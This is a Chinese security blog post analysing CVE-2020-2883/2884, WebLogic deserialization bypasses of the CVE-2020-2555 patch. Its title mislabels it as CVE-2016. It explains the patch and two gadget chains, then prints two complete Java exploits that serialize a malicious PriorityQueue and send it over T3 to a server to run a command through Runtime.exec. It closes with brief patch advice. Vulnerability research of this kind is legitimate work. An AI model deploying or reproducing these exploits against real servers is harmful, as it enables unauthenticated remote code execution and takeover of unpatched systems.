weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

影响范围

  • Oracle WebLogic Server 10.3.6.0.0

  • Oracle WebLogic Server 12.1.3.0.0

  • Oracle WebLogic Server 12.2.1.3.0

  • Oracle WebLogic Server 12.2.1.4.0

漏洞概述

2020年4月Oracle官方发布关键补丁更新公告CPU(Critical Patch Update),其中曝出两个针对WebLogic Server ,CVSS 3.0评分为 9.8的严重漏洞(CVE-2020-2883、CVE-2020-2884),允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。

补丁分析 

该漏洞是对CVE-2020-2555的绕过,Oracle官方提供的CVE-2020-2555补丁中将LimitFilter类的toString()方法中的extract()方法调用全部移除了:

修复之后的Gadget缺失了下面的一环:

    BadAttributeValueExpException.readObject()   com.tangosol.util.filter.LimitFilter.toString()  // <--- CVE-2020-2555在此处补丁(缺少这一环)     com.tangosol.util.extractor.ChainedExtractor.extract()         com.tangosol.util.extractor.ReflectionExtractor().extract()             Method.invoke()             //...         com.tangosol.util.extractor.ReflectionExtractor().extract()             Method.invoke()                 Runtime.exec()

    而这里的ChainedExtractor.extract()仍然可以通过ExtractorComparator和AbstractExtractor类来实现访问,例如我们可以通过设置ChainedExtractor为this.m_extractor的实例来实现对ChainedExtractor.extract()的调用

    weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

    于此同时有安全研究人员还发现另外一个类——MultiExtractor,该类继承关系如下:

    weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

    MultiExtractor的extract如下所示,在这里我们可以通过构造aExtractor[i]为ChainedExtractor来调用ChainedExtractor.extract:

    weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

    这里的aExtractor[i]源自this.getExtractors()方法,该方法如下所示:

    weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

    所以我们可以通过反射来设置m_aExtrator为ChainedExtractor来实现对ChainedExtractor.extractor的调用,之后发现该类并没有自己的compare函数,使用的是父类的 AbstractExtractor的compare函数:

    weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

    以上两种方法都需要用到compare(),借鉴ysoserial的CC链,可以通过PriorityQueue来实现,两条Gadget也呼之欲出:
    第一条Gadget:

    ObjectInputStream.readObject()    PriorityQueue.readObject()        PriorityQueue.heapify()            PriorityQueue.siftDown()                siftDownUsingComparator()                    com.tangosol.util.comparator.ExtractorComparator.compare()                        com.tangosol.util.extractor.ChainedExtractor.extract()                            com.tangosol.util.extractor.ReflectionExtractor().extract()                                Method.invoke()                                .......                            com.tangosol.util.extractor.ReflectionExtractor().extract()                                Method.invoke()                                Runtime.exec()

    第二条Gadget:

      ObjectInputStream.readObject()    PriorityQueue.readObject()        PriorityQueue.heapify()            PriorityQueue.siftDown()                siftDownUsingComparator()                    com.tangosol.util.extractor.AbstractExtractor.compare()                      com.tangosol.util.extractor.MultiExtractor.extract()                        com.tangosol.util.extractor.ChainedExtractor.extract()                            com.tangosol.util.extractor.ChainedExtractor.extract()                                com.tangosol.util.extractor.ReflectionExtractor().extract()                                    Method.invoke()                                    .......                                com.tangosol.util.extractor.ReflectionExtractor().extract()                                    Method.invoke()                                    Runtime.exec()

      更多Gadget尽在地下活动中~  

      EXP1构造 

      首先创建一个valueExtractors数组,并将精心构造的三个ReflectionExtractor对象和ConstantExtractor对象放入其中:

      weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

      之后将valueExtractors封装到ChainedExtractor对象中,然后新建一个ExtractorComparator对象,之后通过反射机制获得类的所有属性(包括private 声明的和继承类),之后设置其Accessible为\\”true\\”(setAccessible可以取消Java的权限控制检查,使私有方法可以访问,注意此时并没有更改其访问权限,可以理解为无视了作用域),之后将设置extractorComparator对象的m_extractor设置为chainedExtractor,从而实现之前分析中的\\”设置ChainedExtractor为this.m_extractor的实例来调用ChainedExtractor.extract()\\”的目的,之后创建一个队列对象,并添加两个值进去,然后通过反射机制获取comparator属性并设置Accessible,然后自定义比较器comparator:

      weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

      之后序列化生成载荷:

      weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

      之后发送T3请求到服务端之后成功执行命令:

      weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

      完整的漏洞EXP如下所示:

      package com.supeream;
      // com.supeream from https://github.com/5up3rc/weblogic_cmd/// com.tangosol.util.extractor.ChainedExtractor from coherence.jar
      import com.supeream.serial.Serializables;import com.supeream.weblogic.T3ProtocolOperation;import com.tangosol.coherence.reporter.extractor.ConstantExtractor;import com.tangosol.util.ValueExtractor;import com.tangosol.util.comparator.ExtractorComparator;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;
      import java.lang.reflect.Field;import java.util.PriorityQueue;
      /*Author:Al1exGithub:https://github.com/Al1ex/CVE-2020-2883
      ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() com.tangosol.util.comparator.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() ....... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()*/
      public class CVE_2020_2883 {
      public static void main(String[] args) throws Exception { ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ConstantExtractor(Runtime.class), new ReflectionExtractor(\\\"getMethod\\\", new Object[]{\\\"getRuntime\\\", new Class[0]}), new ReflectionExtractor(\\\"invoke\\\", new Object[]{null, new Object[0]}), new ReflectionExtractor(\\\"exec\\\", new Object[]{new String[]{\\\"cmd.exe\\\", \\\"/c\\\", \\\"calc\\\"}}) };
      ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
      ExtractorComparator extractorComparator = new ExtractorComparator<Object>(); Field m_extractor = extractorComparator.getClass().getDeclaredField(\\\"m_extractor\\\"); m_extractor.setAccessible(true); m_extractor.set(extractorComparator, chainedExtractor);
      PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add(\\\"foo\\\"); priorityQueue.add(\\\"bar\\\");
      Field comparator = priorityQueue.getClass().getDeclaredField(\\\"comparator\\\"); comparator.setAccessible(true); comparator.set(priorityQueue, extractorComparator);
      byte[] payload = Serializables.serialize(priorityQueue);
      T3ProtocolOperation.send(\\\"192.168.174.144\\\", \\\"7001\\\", payload);
      }}

      EXP2构造 

      首先创建一个valueExtractors数组,并将精心构造的三个ReflectionExtractor对象和ConstantExtractor对象放入其中:

      weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

      之后将valueExtractors封装到ChainedExtractor对象中,然后新建一个ExtractorComparator对象,之后通过反射机制获得类的所有属性(包括private声明的和继承类,而且需要注意的是这里使用的是getClass().getSupperclass()来获取的父类的m_aExtractor属性),之后设置其Accessible为\\”true\\”(setAccessible可以取消Java的权限控制检查,使私有方法可以访问,注意此时并没有更改其访问权限,可以理解为无视了作用域),之后通过将multiExtractor对象的m_aExtractor属性设置为chainedExtractor,实现\\”构造aExtractor[i]为ChainedExtractor来调用ChainedExtractor.extract\\”,需要注意的是这里的数据类型为数组,这是根据m_aExtractor的数据类型来决定的,之后创建一个队列对象,并添加两个值进去,然后通过反射机制获取comparator属性并设置Accessible,然后自定义比较器comparator:

      weblogic反序列化复现(weblogic反序列化漏洞分析 cve-2016)

      之后序列化生成载荷:

      之后发送T3请求到服务端之后成功执行命令:

      完整EXP如下所示:

      package com.supeream;
      // com.supeream from https://github.com/5up3rc/weblogic_cmd/// com.tangosol.util.extractor.ChainedExtractor from coherence.jar
      import com.supeream.serial.Serializables;import com.supeream.weblogic.T3ProtocolOperation;import com.tangosol.coherence.reporter.extractor.ConstantExtractor;import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.*;import java.lang.reflect.Field;import java.util.PriorityQueue;
      /*Author:Al1exGithub:https://github.com/Al1ex/CVE-2020-2883
      ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare()
      com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() ....... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()*/
      public class CVE_2020_2883_2 {
      public static void main(String[] args) throws Exception { ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ConstantExtractor(Runtime.class), new ReflectionExtractor(\\\"getMethod\\\", new Object[]{\\\"getRuntime\\\", new Class[0]}), new ReflectionExtractor(\\\"invoke\\\", new Object[]{null, new Object[0]}), new ReflectionExtractor(\\\"exec\\\", new Object[]{new String[]{\\\"cmd.exe\\\", \\\"/c\\\", \\\"calc\\\"}}) }; ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractors); MultiExtractor multiExtractor = new MultiExtractor();
      Field m_extractor = multiExtractor.getClass().getSuperclass().getDeclaredField(\\\"m_aExtractor\\\"); m_extractor.setAccessible(true); m_extractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});
      PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add(\\\"foo\\\"); priorityQueue.add(\\\"bar\\\");
      Field comparator = priorityQueue.getClass().getDeclaredField(\\\"comparator\\\"); comparator.setAccessible(true); comparator.set(priorityQueue,multiExtractor );
      byte[] payload = Serializables.serialize(priorityQueue);
      T3ProtocolOperation.send(\\\"192.168.174.144\\\", \\\"7001\\\", payload);
      }}

      项目已上传至github:https://github.com/Al1ex/CVE-2020-2883

      安全建议 

      Oracle官方已发布相关更新补丁,尽快打补丁进行修复,具体可参考以下链接:https://www.oracle.com/security-alerts/cpujan2020.html 

      参考链接 

      https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild
      https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server 

      原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34253.html

      Like (0)
      七芒星实验室的头像七芒星实验室
      Previous 2024年4月11日
      Next 2024年4月11日

      相关推荐

      发表回复

      您的邮箱地址不会被公开。 必填项已用 * 标注